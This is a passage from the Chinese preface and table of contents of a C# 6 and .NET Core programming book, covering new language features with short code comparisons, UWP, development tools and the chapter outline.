本相比,其更新比较小。使用Windows Forms或ASP.NET Web Forms编写的应用程序仍然 需要使用完整的框架,但它们可以利用.NET 4.6.1的增强功能。通过.NET 4.6.1,还可以使 用为.NET Core建立的NuGet包。许多新的NuGet包采用便携的方式建立。通过ASP.NET MVC 5 Web应用程序,还可以决定改为运行在ASP.NET Core 1.0上的ASP.NET MVC 6。 ASP.NET Core 1.0允许使用.NET Core或.NET 4.6。这可以简化转换过程。然而,要在 Linux上运行ASP.NET MVC,则需要迁移ASP.NET MVC应用程序来使用.NET Core,但之 前也不能在Linux上运行。 下面总结.NET Core的一些特性: ● .NET Core是开源的。 ● NuGet包较小,允许更快的创新。 ● .NET Core支持多个平台。 ● .NET Core可以编译为本地代码。 ● ASP.NET可以在Windows和Linux上运行。 从.NET Core的特性可以看出,自.NET第1版以来,这个技术在.NET历史上给.NET带 来的变化最大。这是一个新的开始,我们可以用更快的步伐继续新的开发旅程。 0.2 C#的重要性 C#在2002年发布时,是一个用于.NET Framework的开发语言。C#的设计思想来自于 C++、Java和Pascal。Anders Hejlsberg从Borland来到微软公司,带来了开发Delphi语言的 经验。Hejlsberg在微软公司开发了Java的Microsoft版本J++,之后创建了C#。 C#一开始不仅作为一种面向对象的通用编程语言,而且是一种基于组件的编程语 言,支持属性、事件、特性(注解)和构建程序集(包括元数据的二进制文件)。 随着时间的推移,C#增强了泛型、语言集成查询(Language Integrated Query, LINQ)、lambda表达式、动态特性和更简单的异步编程。C#编程语言并不简单,因为它 提供了很多特性,但它的实际使用的功能不断进化着。因此,C#不仅仅是面向对象或基 于组件的语言,它还包括函数式编程的理念,开发各种应用程序的通用语言会实际应用这 些理念。 0.3 C# 6的新特性 在C# 6中有一个新的C#编译器。它完成源代码的清理。现在自定义程序也可以使用 编译器管道的特性,并使用Visual Studio的许多特性。 这个新的C#编译器平台允许用许多新特性改进C#。虽然这些特性都没有LINQ或async 关键字的影响大,但许多改进都提高了开发人员的效率。C# 6有哪些变化? 0.3.1 静态的using声明 静态的using声明允许调用静态方法时不使用类名。 C# 5 using System; // etc. Console.WriteLine("Hello, World! "); C# 6 using static System.Console; // etc. WriteLine("Hello, World"); using static关键字参见第2章。 0.3.2 表达式体方法 表达式体方法只包括一个可以用lambda语法编写的语句: C# 5 public bool IsSquare(Rectangle rect) { return rect.Height == rect.Width; } C# 6 public bool IsSquare(Rectangle rect) => rect.Height == rect.Width; 表达式体方法参见第3章。 0.3.3 表达式体属性 与表达式体方法类似,只有get存取器的单行属性可以用lambda语法编写: C# 5 public string FullName { get { return FirstName + " " + LastName; } } C# 6 public string FullName => FirstName + " " + LastName; 表达式体属性参见第3章。 0.3.4 自动实现的属性初始化器 自动实现的属性可以用属性初始化器来初始化: C# 5 public class Person { public Person() { Age = 24; } public int Age {get; set; } } C# 6 public class Person { public int Age {get; set; } = 42; } 自动实现的属性初始化器参见第3章。 0.3.5 只读的自动属性 为了实现只读属性,C# 5需要使用完整的属性语法;而在C# 6中,可以使用自动实现 的属性: C# 5 private readonly int _bookId; public BookId { get { return _bookId; } } C# 6 public BookId {get; } 只读的自动属性参见第3章。 0.3.6 nameof运算符 使用新的nameof运算符,可以访问字段名、属性名、方法名或类型名。这样,在重构 时,就不会遗漏名称的改变: C# 5 public void Method(object o) { if (o == null) throw new ArgumentNullException("o"); C# 6 public void Method(object o) { if (o == null) throw new ArgumentNullException(nameof(o)); nameof运算符参见第8章。 0.3.7 空值传播运算符 空值传播运算符简化了空值的检查: C# 5 int? age = p == null ? null : p.Age; C# 6 int? age = p? .Age; 新语法也有触发事件的优点: C# 5 var handler = Event; if (handler != null) { handler(source, e); } C# 6 handler?.Invoke(source, e); 空值传播运算符参见第8章。 0.3.8 字符串插值 字符串插值删除了对string.Format的调用,它不在字符串中使用编号的格式占位符, 占位符可以包含表达式: C# 5 public override ToString() { return string.Format("{0}, {1}", Title, Publisher); } C# 6 public override ToString() => $"{Title} {Publisher}"; 与C# 5语法相比,C# 6示例的代码减少了许多,不仅因为它使用了字符串插值,还使 用了表达式体方法。 字符串插值还可以使用字符串格式,把它分配给FormattableString时会获得特殊的功 能。字符串插值参见第10章。 0.3.9 字典初始化器 字典现在可以用字典初始化器来初始化,类似于集合初始化器。 C# 5 var dict = new Dictionary<int, string>(); dict.Add(3, "three"); dict.Add(7, "seven"); C# 6 var dict = new Dictionary<int, string>() { [3] = "three", [7] = "seven" }; 字典初始化器参见第11章。 0.3.10 异常过滤器 异常过滤器允许在捕获异常之前过滤它们。 C# 5 try { //etc. } catch (MyException ex) { if (ex.ErrorCode ! =405) throw; // etc. } C# 6 try { //etc. } catch (MyException ex) when (ex.ErrorCode == 405) { // etc. } 新语法的一大优势是,它不仅减少了代码的长度,而且没有改变堆栈跟踪——在C# 5 中会改变堆栈跟踪。异常过滤器参见第14章。 0.3.11 Catch中的await await现在可以在catch子句中使用。C# 5需要一种变通方法: C# 5 bool hasError = false; string errorMessage = null; try { //etc. } catch (MyException ex) { hasError = true; errorMessage = ex.Message; } if (hasError) { await new MessageDialog().ShowAsync(errorMessage); } C# 6 try { //etc. } catch (MyException ex) { await new MessageDialog().ShowAsync(ex.Message); } 这个功能不需要增强的C#语法,现在就能工作。这个增强需要微软公司大量的投资 才能实现,但是否使用这个平台真的没有关系。对用户来说,这意味着需要更少的代码 ——仅仅是比较两个版本。  注意: 新的C# 6语言特性参见后面的章节,本书的所有章节都使用了新的C# 语法。 0.4 UWP的新内容 Windows 8引入一种新的编程API: Windows运行库(Windows Runtime)。使用 Windows运行库的应用程序可以通过Microsoft Store来使用,且有许多不同的名称。最初 称它为Metro应用程序或Metro样式的应用程序,也称为Modern应用程序、Windows Store 应用程序(尽管它们也可以通过PowerShell脚本来安装,不使用商店)和Universal应用程 序。这里可能遗漏了一些名字。如今,这些都只是Windows应用程序,运行在 UWP(Universal Windows Platform,通用Windows平台)上。 这些应用程序的理念是,让最终用户很容易通过Microsoft商店找到它们,提供便于触 屏的环境,这个环境是现代的用户界面,看起来很干净、光滑,并允许流畅地交互,而且 应用程序是可以信任的。更重要的是,已经了解Windows用户界面的用户应该被新的环境 所吸引。 第1版的设计准则有诸多限制,有一些缺陷。如何在应用程序中寻找东西?许多用户 在右边找不到工具栏,却发现它允许搜索许多应用程序。Windows 8.1把搜索功能搬到桌 面的一个搜索框中。同时,如果用户不在屏幕上从上扫到下或从下扫到上,就经常找不到 位于顶部或底部的应用栏。 Windows 10使设计更加开放。可以使用对应用程序有用的东西,在用户界面上做出 决定,因为它与用户和应用程序最匹配。当然,它仍然最适合创建出好看的、光滑的、流 畅的设计。最好让用户与应用程序愉快地交互,确定如何完成任务应该不是很难。 新的Windows运行库是Windows运行库3.0,它基于以前的版本,定义了XAML用户界 面,实现了应用程序的生命周期,支持后台功能,在应用程序之间共享数据等。事实上, 新版本的运行库在所有区域都提供了更多的功能。 Windows应用程序现在使用.NET Core。通过NuGet包与Windows应用程序可以使用相 同的.NET库。最后,本地代码编译后,应用程序启动更快,消耗的内存更少。 与提供的附加功能相比,可能更重要的是现在可用的普遍性。Visual Studio 2013的第 一次更新为Windows 8应用程序包括了一个新的项目类型:通用(Universal)应用程序。 在这里,通用应用程序用3个项目实现:一个项目用于Windows应用程序,一个项目用于 Windows Phone应用程序,另一个是共享的代码项目。甚至可以在这些平台之间共享 XAML代码。新的通用项目模板包括一个项目。相同的二进制代码不仅可以用于Windows 和Windows Phone,还可以用于Xbox、物联网(Internet of Things, IoT)设备和HoloLens 等。当然,这些不同的平台所提供的功能不可能用于所有地方,但是使用这个不同的功 能,仍然可以创建二进制图像,在每个Windows 10设备上运行。 0.5 编写和运行C#代码的环境 .NET Core运行在Windows、Linux和Mac操作系统上。使用Visual Studio Code(https://code. visualstudio.com),可以在任何操作系统上创建和构建程序。最好用 的开发工具是Visual Studio 2015,也是本书使用的工具。可以使用Visual Studio Community 2015版(https://www. visualstudio.com),但本书介绍的一些功能只有Visual Studio的企业版提供。需要企业版时会提到。Visual Studio 2015需要Windows操作系统, 要求使用Windows 8.1或更高版本。 要构建和运行本书中的WPF应用程序,需要Windows平台。Windows 7仍支持运行 WPF应用程序。 要构建通用的Windows应用程序,可以使用Windows 8.1和Visual Studio,但要测试和 运行这些应用程序,就需要Windows 10设备。 0.6 本书的内容 本书首先在第1章介绍.NET的整体体系结构,给出编写托管代码所需要的背景知识。 此后概述不同的应用程序类型,学习如何用新的开发环境CLI编译程序。之后本书分几部 分介绍C#语言及其在各个领域中的应用。 第I部分——C#语言 该部分给出C#语言的良好背景知识。尽管这一部分假定读者是有经验的编程人员, 但它没有假设读者拥有任何特定语言的知识。首先介绍C#的基本语法和数据类型,再介 绍C#的面向对象特性,之后介绍C#中的一些高级编程主题,如委托、lambda表达式、语 言集成查询(LINQ)、反射和异步编程。 第Ⅱ部分——.NET Core与Windows Runtime 该部分首先介绍全世界C#开发人员都使用的主要IDE: Visual Studio 2015。第17章学 习Visual Studio企业版可用的工具。 第18章还要学习C#编译器的工作原理,以及如何使用.NET编译器平台以编程方式修 改代码。 用C#代码创建功能时,不要跳过创建单元测试的步骤。一开始需要更多的时间,但 随着时间的推移,添加功能和维护代码时,就会看到其优势。第19章介绍如何创建单元测 试、网络测试和编码的UI测试。 第20~28章介绍独立于应用程序类型的.NET Core和Windows运行库。第20章学习如 何从应用程序中写出也可以在生产环境中使用的诊断信息。第21章和第22章介绍了使用任 务并行库(Task Parallel Library, TPL)进行并行编程,以及用于同步的各种对象。第23章 学习如何访问文件系统,读取文件和目录,了解如何使用System.IO名称空间中的流和 Windows运行库中的流来编写Windows应用程序。第24章利用流来了解安全性,以及如何 加密数据,允许进行安全的转换。还将学习使用套接字和使用更高级别的抽象(如 HttpClient,见第25章)的联网的核心基础。第26章讨论了Microsoft Composition,它允许 创建容器和部件之间的独立性。第27章论述如何将对象序列化到XML和JSON中,以及用 于读取和编写XML的不同技术。最后,第28章学会使用本地化的技术本地化应用程序, 该技术对Windows和Web应用程序都非常重要。 第Ⅲ部分——Windows应用程序 该部分的主题是使用XAML语法构建应用程序——UWP(通用Windows应用程序)和 WPF。第29章介绍XAML的基础,包括XAML语法、依赖属性,以及标记扩展(可以创建 自己的XAML语法)。第30章学习如何给基于XAML的应用程序指定样式。第31章主要关 注MVVM(Model-View-View Model)模式,学习利用基于XAML的应用程序中的数据绑 定特性,允许在很多UWP应用程序和WPF应用程序之间共享代码。使用Xamarin也可以为 iPhone和Android平台分享很多开发代码。然而,本书不探讨如何使用Xamarin进行开发。 论述UWP应用程序和WPF应用程序的介绍性章节后,有两章的内容讨论UWP应用程序的 具体特征,另外两章讨论WPF应用程序。第32章和第33章介绍具体的XAML控件与UWP 应用程序,如RelativePanel和AdaptiveTrigger、新编译的绑定、应用程序生命周期、共享 数据和创建后台任务。第34章和第35章论述WPF专用特性,如Ribbon控件,显示分层数据 的TreeView、WPF专用的数据绑定功能,创建流和固定文档,创建XPS(XML Paper Specification)文件。 该部分的最后,第36章使用ClickOnce部署WPF应用程序,且包含在商店中获得UWP 应用程序的信息。 第Ⅳ部分——Web应用程序和服务 该部分阐述Web应用程序和服务,还包含关于ADO.NET的两章内容。虽然也可以在 客户应用程序中使用ADO.NET(第37章)和Entity Framework(第38章),但通常这些技 术在服务器上使用,从客户端调用服务。 第39章学习如何创建自己的Windows服务,操作系统启动时,Windows服务就会运 行。 ASP.NET的新版本ASP.NET Core 1.0参见第40章。其中讨论了ASP.NET的基础,以及 如何使用这些基础知识建立ASP.NET MVC 6。ASP.NET MVC 6的特点参见第41章。  注意: 本书没有介绍ASP.NET Web Forms,尽管ASP.NET 4.6为ASP.NET Web Forms提供了新特性。本书只论述使用ASP.NET Core 1.0的ASP.NET新技术版本。 第42章讨论了ASP.NET MVC 6的REST服务特性:ASP.NET Web API。Web应用程序 的发布和订阅技术使用ASP.NET技术WebHooks和SignalR的形式,在第43章中讨论。第44 章讨论了使用SOAP和WCF与服务交流的旧技术。 与前一部分一样,该部分的最后讨论部署,包括部署运行在互联网信息服务器 (Internet Information Server, IIS)上的网站,或使用Microsoft Azure托管网站。 0.7 如何下载本书的示例代码 在读者学习本书中的示例时,可以手工输入所有的代码,也可以使用本书附带的源代 码文件。本书使用的所有源代码都可以从本书合作站点 http://www.wrox.com/go/professionalcsharp6上下载。登录到站点http://www.wrox.com/上, 使用Search工具或书名列表就可以找到本书。接着单击本书细目页面上的Download Code 链接,就可以获得所有的源代码。也可以扫描封底的二维码获取本书的源代码。  注意: 许多图书的书名都很相似,所以通过ISBN查找本书是最简单的,本 书英文版的ISBN是978-1-119-09660-3。 在下载了代码后,只需要用自己喜欢的解压缩软件对它进行解压缩即可。另外,也可 以进入http://www.wrox.com/dynamic/books/download.aspx上的Wrox代码下载主页,查看本 书和其他Wrox图书的所有代码。 .NET Core更新很快,所以本书的源代码也可以在 http://www.github.com/ProfessionalCSharp上获得。注意,GitHub上的源代码提供了实时的 源文件,它们会与Visual Studio的次要更新版本一起更新,还有新的实验性C#特性。为了 在本书出版后,更新源代码和额外的示例,可以查看GitHub网站。对应本书印刷版本的稳 定的源代码可以从Wrox网站上获得。 0.8 勘误表 尽管我们已经尽力来保证不出现错误,但错误总是难免的,如果你在本书中找到了错 误,如拼写错误或代码错误,请告诉我们,我们将非常感激。通过勘误表,可以让其他读 者避免受挫,当然,这还有助于提供更高质量的信息。 要在网站上找到本书的勘误表,可以登录http://www.wrox.com,通过Search工具或书 名列表查找本书,然后在本书的细目页面上,单击Book Errata链接。在这个页面上可以查 看Wrox编辑已提交和粘贴的所有勘误项。完整的图书列表还包括每本书的勘误表,网址 是www.wrox.com/misc-pages/ booklist.shtml。 如果在Book Errata页面上没有看到你找出的错误,请进入 www.worx.com/contact/techsupport.shtml,填写表单,发电子邮件,我们就会检查你的信 息,如果是正确的,就在本书的勘误表中粘贴一条消息,我们将在本书的后续版本中采 用。 0.9 p2p.wrox.com P2P邮件列表是为作者和读者之间的讨论而建立的。读者可以在p2p.wrox.com上加入 P2P论坛。该论坛是一个基于Web的系统,用于发送与Wrox图书相关的信息和相关技术, 与其他读者和技术用户交流。该论坛提供了订阅功能,当论坛上有新帖子时,会给你发送 你选择的主题。Wrox作者、编辑和其他业界专家和读者都会在这个论坛上讨论。 在http://p2p.wrox.com上有许多不同的论坛,不只是可以帮助读者阅读本书,在读者 开发自己的应用程序时,也可以从这个论坛中获益。要加入这个论坛,必须执行下面的步 骤: (1)进入p2p.wrox.com,单击Register链接。 (2)阅读其内容,单击Agree按钮。 (3)提供加入论坛所需要的信息及愿意提供的可选信息,单击Submit按钮。 (4)然后就可以收到一封电子邮件,其中的信息描述了如何验证账户,完成加入过 程。  注意: 不加入P2P也可以阅读论坛上的信息,但只有加入论坛后,才能发送 自己的信息。 加入论坛后,就可以发送新信息,回应其他用户的帖子。可以随时在Web上阅读信 息。如果希望某个论坛给自己发送新信息,可以在论坛列表中单击该论坛对应的Subscribe to this Forum图标。 对于如何使用Wrox P2P的更多信息,可阅读P2P FAQ,了解论坛软件的工作原理,以 及许多针对P2P和Wrox图书的常见问题解答。要阅读FAQ,可以单击任意P2P页面上的 FAQ链接。 目 录 前言 第Ⅰ部分 C#语言 第1章 .NET应用程序体系结构 1.1 选择技术 1.2 回顾.NET历史 1.2.1 C#1.0——一种新语言 1.2.2 带有泛型的C# 2和.NET 2 1.2.3 .NET 3.0 ——Windows Presentation Foundation 1.2.4 C# 3和.NET 3.5——LINQ 1.2.5 C# 4和.NET 4.0——dynamic和TPL 1.2.6 C# 5和异步编程 1.2.7 C# 6和.NET Core 1.2.8 选择技术,继续前进 1.3 .NET 2015 1.3.1 .NET Framework 4.6 1.3.2 .NET Core 1.0 1.3.3 程序集 1.3.4 NuGet包 1.3.5 公共语言运行库 1.3.6 .NET Native 1.3.7 Windows运行库 1.4 Hello, World 1.5 用.NET 4.6编译 1.6 用.NET Core CLI编译 1.6.1 设置环境 1.6.2 构建应用程序 1.6.3 打包和发布应用程序 1.7 应用程序类型和技术 1.7.1 数据访问 1.7.2 Windows桌面应用程序 1.7.3 UWP 1.7.4 SOAP服务和WCF 1.7.5 Web服务和ASP.NET Web API 1.7.6 WebHooks和SignalR 1.7.7 Windows服务 1.7.8 Web应用程序 1.7.9 Microsoft Azure 1.8 开发工具 1.8.1 Visual Studio Community 1.8.2 Visual Studio Professional with MSDN 1.8.3 Visual Studio Enterprise with MSDN 1.8.4 Visual Studio Code 1.9 小结 第2章 核心C# 2.1 C#基础 2.2 用Visual Studio创建Hello, World! 2.2.1 创建解决方案 2.2.2 创建新项目 2.2.3 编译和运行程序 2.2.4 代码的详细介绍 2.3 变量 2.3.1 初始化变量 2.3.2 类型推断 2.3.3 变量的作用域 2.3.4 常量 2.4 预定义数据类型 2.4.1 值类型和引用类型 2.4.2 .NET类型 2.4.3 预定义的值类型 2.4.4 预定义的引用类型 2.5 程序流控制 2.5.1 条件语句 2.5.2 循环 2.5.3 跳转语句 2.6 枚举 2.7 名称空间 2.7.1 using语句 2.7.2 名称空间的别名 2.8 Main()方法 2.9 使用注释 2.9.1 源文件中的内部注释 2.9.2 XML文档 2.10 C#预处理器指令 2.10.1 #define和#undef 2.10.2 #if、#elif、#else和#endif 2.10.3 #warning和# error 2.10.4 #region和#endregion 2.10.5 #line 2.10.6 #pragma 2.11 C#编程准则 2.11.1 关于标识符的规则 2.11.2 用法约定 2.12 小结 第3章 对象和类型 3.1 创建及使用类 3.2 类和结构 3.3 类 3.3.1 字段 3.3.2 属性 3.3.3 方法 3.3.4 构造函数 3.3.5 只读成员 3.3.6 只读字段 3.4 匿名类型 3.5 结构 3.5.1 结构是值类型 3.5.2 结构和继承 3.5.3 结构的构造函数 3.6 按值和按引用传递参数 3.6.1 ref参数 3.6.2 out参数 3.7 可空类型 3.8 枚举 3.9 部分类 3.10 扩展方法 3.11 Object类 3.12 小结 第4章 继承 4.1 继承 4.2 继承的类型 4.2.1 多重继承 4.2.2 结构和类 4.3 实现继承 4.3.1 虚方法 4.3.2 多态性 4.3.3 隐藏方法 4.3.4 调用方法的基类版本 4.3.5 抽象类和抽象方法 4.3.6 密封类和密封方法 4.3.7 派生类的构造函数 4.4 修饰符 4.4.1 访问修饰符 4.4.2 其他修饰符 4.5 接口 4.5.1 定义和实现接口 4.5.2 派生的接口 4.6 is和as运算符 4.7 小结 第5章 托管和非托管的资源 5.1 资源 5.2 后台内存管理 5.2.1 值数据类型 5.2.2 引用数据类型 5.2.3 垃圾回收 5.3 强引用和弱引用 5.4 处理非托管的资源 5.4.1 析构函数或终结器 5.4.2 IDisposable接口 5.4.3 using语句 5.4.4 实现IDisposable接口和析构函数 5.4.5 IDisposable和终结器的规则 5.5 不安全的代码 5.5.1 用指针直接访问内存 5.5.2 指针示例:PointerPlayground 5.5.3 使用指针优化性能 5.6 平台调用 5.7 小结 第6章 泛型 6.1 泛型概述 6.1.1 性能 6.1.2 类型安全 6.1.3 二进制代码的重用 6.1.4 代码的扩展 6.1.5 命名约定 6.2 创建泛型类 6.3 泛型类的功能 6.3.1 默认值 6.3.2 约束 6.3.3 继承 6.3.4 静态成员 6.4 泛型接口 6.4.1 协变和抗变 6.4.2 泛型接口的协变 6.4.3 泛型接口的抗变 6.5 泛型结构 6.6 泛型方法 6.6.1 泛型方法示例 6.6.2 带约束的泛型方法 6.6.3 带委托的泛型方法 6.6.4 泛型方法规范 6.7 小结 第7章 数组和元组 7.1 同一类型和不同类型的多个对象 7.2 简单数组 7.2.1 数组的声明 7.2.2 数组的初始化 7.2.3 访问数组元素 7.2.4 使用引用类型 7.3 多维数组 7.4 锯齿数组 7.5 Array类 7.5.1 创建数组 7.5.2 复制数组 7.5.3 排序 7.6 数组作为参数 7.6.1 数组协变 7.6.2 ArraySegment<T> 7.7 枚举 7.7.1 IEnumerator接口 7.7.2 foreach语句 7.7.3 yield语句 7.8 元组 7.9 结构比较 7.10 小结 第8章 运算符和类型强制转换 8.1 运算符和类型转换 8.2 运算符 8.2.1 运算符的简化操作 8.2.2 运算符的优先级和关联性 8.3 类型的安全性 8.3.1 类型转换 8.3.2 装箱和拆箱 8.4 比较对象的相等性 8.4.1 比较引用类型的相等性 8.4.2 比较值类型的相等性 8.5 运算符重载 8.5.1 运算符的工作方式 8.5.2 运算符重载的示例:Vector结构 8.5.3 比较运算符的重载 8.5.4 可以重载的运算符 8.6 实现自定义的索引运算符 8.7 实现用户定义的类型强制转换 8.7.1 实现用户定义的类型强制转换 8.7.2 多重类型强制转换 8.8 小结 第9章 委托、Iambda表达式和事件 9.1 引用方法 9.2 委托 9.2.1 声明委托 9.2.2 使用委托 9.2.3 简单的委托示例 9.2.4 Action<T>和Func<T>委托 9.2.5 BubbleSorter示例 9.2.6 多播委托 9.2.7 匿名方法 9.3 lambda表达式 9.3.1 参数 9.3.2 多行代码 9.3.3 闭包 9.4 事件 9.4.1 事件发布程序 9.4.2 事件侦听器 9.4.3 弱事件 9.5 小结 第10章 字符串和正则表达式 10.1 System.String类 10.1.1 构建字符串 10.1.2 StringBuilder成员 10.2 字符串格式 10.2.1 字符串插值 10.2.2 日期时间和数字的格式 10.2.3 自定义字符串格式 10.3 正则表达式 10.3.1 正则表达式概述 10.3.2 RegularExpressionsPlayaround示例 10.3.3 显示结果 10.3.4 匹配、组和捕获 10.4 小结 第11章 集合 11.1 概述 11.2 集合接口和类型 11.3 列表 11.3.1 创建列表 11.3.2 只读集合 11.4 队列 11.5 栈 11.6 链表 11.7 有序列表 11.8 字典 11.8.1 字典初始化器 11.8.2 键的类型 11.8.3 字典示例 11.8.4 Lookup类 11.8.5 有序字典 11.9 集 11.10 性能 11.11 小结 第12章 特殊的集合 12.1 概述 12.2 处理位 12.2.1 BitArray类 12.2.2 BitVector32结构 12.3 可观察的集合 12.4 不变的集合 12.4.1 使用构建器和不变的集合 12.4.2 不变集合类型和接口 12.4.3 使用LINQ和不变的数组 12.5 并发集合 12.5.1 创建管道 12.5.2 使用BlockingCollection 12.5.3 使用ConcurrentDictionary 12.5.4 完成管道 12.6 小结 第13章 LINQ 13.1 LINQ概述 13.1.1 列表和实体 13.1.2 LINQ查询 13.1.3 扩展方法 13.1.4 推迟查询的执行 13.2 标准的查询操作符 13.2.1 筛选 13.2.2 用索引筛选 13.2.3 类型筛选 13.2.4 复合的from子句 13.2.5 排序 13.2.6 分组 13.2.7 LINQ查询中的变量 13.2.8 对嵌套的对象分组 13.2.9 内连接 13.2.10 左外连接 13.2.11 组连接 13.2.12 集合操作 13.2.13 合并 13.2.14 分区 13.2.15 聚合操作符 13.2.16 转换操作符 13.2.17 生成操作符 13.3 并行LINQ 13.3.1 并行查询 13.3.2 分区器 13.3.3 取消 13.4 表达式树 13.5 LINQ提供程序 13.6 小结 第14章 错误和异常 14.1 简介 14.2 异常类 14.3 捕获异常 14.3.1 实现多个catch块 14.3.2 在其他代码中捕获异常 14.3.3 System.Exception属性 14.3.4 异常过滤器 14.3.5 重新抛出异常 14.3.6 没有处理异常时发生的情况 14.4 用户定义的异常类 14.4.1 捕获用户定义的异常 14.4.2 抛出用户定义的异常 14.4.3 定义用户定义的异常类 14.5 调用者信息 14.6 小结 第15章 异步编程 15.1 异步编程的重要性 15.2 异步模式 15.2.1 同步调用 15.2.2 异步模式 15.2.3 基于事件的异步模式 15.2.4 基于任务的异步模式 15.3 异步编程的基础 15.3.1 创建任务 15.3.2 调用异步方法 15.3.3 延续任务 15.3.4 同步上下文 15.3.5 使用多个异步方法 15.3.6 转换异步模式 15.4 错误处理 15.4.1 异步方法的异常处理 15.4.2 多个异步方法的异常处理 15.4.3 使用AggregateException信息 15.5 取消 15.5.1 开始取消任务 15.5.2 使用框架特性取消任务 15.5.3 取消自定义任务 15.6 小结 第16章 反射、元数据和动态编程 16.1 在运行期间检查代码和动态编程 16.2 自定义特性 16.2.1 编写自定义特性 16.2.2 自定义特性示例:WhatsNewAttributes 16.3 反射 16.3.1 System.Type类 16.3.2 TypeView示例 16.3.3 Assembly类 16.3.4 完成WhatsNewAttributes示例 16.4 为反射使用动态语言扩展 16.4.1 创建Calculator库 16.4.2 动态实例化类型 16.4.3 用反射API调用成员 16.4.4 使用动态类型调用成员 16.5 dynamic类型 16.6 DLR 16.7 包含DLR ScriptRuntime 16.8 DynamicObject和ExpandoObject 16.8.1 DynamicObject 16.8.2 ExpandoObject 16.9 小结 第Ⅱ部分 .NET Core与Windows Runtime 第17章 Visual Studio 2015 17.1 使用Visual Studio 2015 17.1.1 Visual Studio的版本 17.1.2 Visual Studio设置 17.2 创建项目 17.2.1 面向多个版本的.NET Framework 17.2.2 选择项目类型 17.3 浏览并编写项目 17.3.1 构建环境:CLI和MSBuild 17.3.2 Solution Explorer 17.3.3 使用代码编辑器 17.3.4 学习和理解其他窗口 17.3.5 排列窗口 17.4 构建项目 17.4.1 构建、编译和生成代码 17.4.2 调试版本和发布版本 17.4.3 选择配置 17.4.4 编辑配置 17.5 调试代码 17.5.1 设置断点 17.5.2 使用数据提示和调试器可视化工具 17.5.3 Live Visual Tree 17.5.4 监视和修改变量 17.5.5 异常 17.5.6 多线程 17.6 重构工具 17.7 体系结构工具 17.7.1 代码地图 17.7.2 层关系图 17.8 分析应用程序 17.8.1 诊断工具 17.8.2 Concurrency Visualizer 17.8.3 代码分析器 17.8.4 Code Metrics 17.9 小结 第18章 .NET编译器平台 18.1 简介 18.2 编译器管道 18.3 语法分析 18.3.1 使用查询节点 18.3.2 遍历节点 18.4 语义分析 18.4.1 编译 18.4.2 语义模型 18.5 代码转换 18.5.1 创建新树 18.5.2 使用语法重写器 18.6 Visual Studio Code重构 18.6.1 VSIX包 18.6.2 代码重构提供程序 18.7 小结 第19章 测试 19.1 概述 19.2 使用MSTest进行单元测试 19.2.1 使用MSTest创建单元测试 19.2.2 运行单元测试 19.2.3 使用MSTest预期异常 19.2.4 测试全部代码路径 19.2.5 外部依赖 19.2.6 Fakes Framework 19.2.7 IntelliTest 19.3 使用xUnit进行单元测试 19.3.1 使用xUnit和.NET Core 19.3.2 创建Fact属性 19.3.3 创建Theory属性 19.3.4 用dotnet工具运行单元测试 19.3.5 使用Mocking库 19.4 UI测试 19.5 Web测试 19.5.1 创建Web测试 19.5.2 运行Web测试 19.5.3 Web负载测试 19.6 小结 第20章 诊断和Application Insights 20.1 诊断概述 20.2 使用EventSource跟踪 20.2.1 EventSource的简单用法 20.2.2 跟踪工具 20.2.3 派生自EventSource 20.2.4 使用注释和EventSource 20.2.5 创建事件清单模式 20.2.6 使用活动ID 20.3 创建自定义侦听器 20.4 使用Application Insights 20.4.1 创建通用Windows应用程序 20.4.2 创建Application Insights资源 20.4.3 配置Windows应用程序 20.4.4 使用收集器 20.4.5 编写自定义事件 20.5 小结 第21章 任务和并行编程 21.1 概述 21.2 Parallel类 21.2.1 使用Parallel.For()方法循环 21.2.2 提前停止Parallel.For 21.2.3 Parallel.For()的初始化 21.2.4 使用Parallel.ForEach()方法循环 21.2.5 通过Parallel.Invoke()方法调用多个方法 21.3 任务 21.3.1 启动任务 21.3.2 Future——任务的结果 21.3.3 连续的任务 21.3.4 任务层次结构 21.3.5 从方法中返回任务 21.3.6 等待任务 21.4 取消架构 21.4.1 Parallel.For()方法的取消 21.4.2 任务的取消 21.5 数据流 21.5.1 使用动作块 21.5.2 源和目标数据块 21.5.3 连接块 21.6 小结 第22章 任务同步 22.1 概述 22.2 线程问题 22.2.1 争用条件 22.2.2 死锁 22.3 lock语句和线程安全 22.4 Interlocked类 22.5 Monitor类 22.6 SpinLock结构 22.7 WaitHandle基类 22.8 Mutex类 22.9 Semaphore类 22.10 Events类 22.11 Barrier类 22.12 ReaderWriterLockSlim类 22.13 Timer类 22.14 小结 第23章 文件和流 23.1 概述 23.2 管理文件系统 23.2.1 检查驱动器信息 23.2.2 使用Path类 23.2.3 创建文件和文件夹 23.2.4 访问和修改文件的属性 23.2.5 创建简单的编辑器 23.2.6 使用File执行读写操作 23.3 枚举文件 23.4 使用流处理文件 23.4.1 使用文件流 23.4.2 读取流 23.4.3 写入流 23.4.4 复制流 23.4.5 随机访问流 23.4.6 使用缓存的流 23.5 使用读取器和写入器 23.5.1 StreamReader类 23.5.2 StreamWriter类 23.5.3 读写二进制文件 23.6 压缩文件 23.6.1 使用压缩流 23.6.2 压缩文件 23.7 观察文件的更改 23.8 使用内存映射的文件 23.8.1 使用访问器创建内存映射文件 23.8.2 使用流创建内存映射文件 23.9 使用管道通信 23.9.1 创建命名管道服务器 23.9.2 创建命名管道客户端 23.9.3 创建匿名管道 23.10 通过Windows运行库使用文件和流 23.10.1 Windows应用程序编辑器 23.10.2 把Windows Runtime类型映射为.NET类型 23.11 小结 第24章 安全性 24.1 概述 24.2 验证用户信息 24.2.1 使用Windows标识 24.2.2 Windows Principal 24.2.3 使用声称 24.3 加密数据 24.3.1 创建和验证签名 24.3.2 实现安全的数据交换 24.3.3 使用RSA签名和散列 24.3.4 实现数据的保护 24.4 资源的访问控制 24.5 使用证书发布代码 24.6 小结 第25章 网络 25.1 网络 25.2 HttpClient类 25.2.1 发出异步的Get请求 25.2.2 抛出异常 25.2.3 传递标题 25.2.4 访问内容 25.2.5 用HttpMessageHandler自定义请求 25.2.6 使用SendAsync创建HttpRequestMessage 25.2.7 使用HttpClient和Windows Runtime 25.3 使用WebListener类 25.4 使用实用工具类 25.4.1 URI 25.4.2 IPAddress 25.4.3 IPHostEntry 25.4.4 Dns 25.5 使用TCP 25.5.1 使用TCP创建HTTP客户程序 25.5.2 创建TCP侦听器 25.5.3 创建TCP客户端 25.5.4 TCP和UDP 25.6 使用UDP 25.6.1 建立UDP接收器 25.6.2 创建UDP发送器 25.6.3 使用多播 25.7 使用套接字 25.7.1 使用套接字创建侦听器 25.7.2 使用NetworkStream和套接字 25.7.3 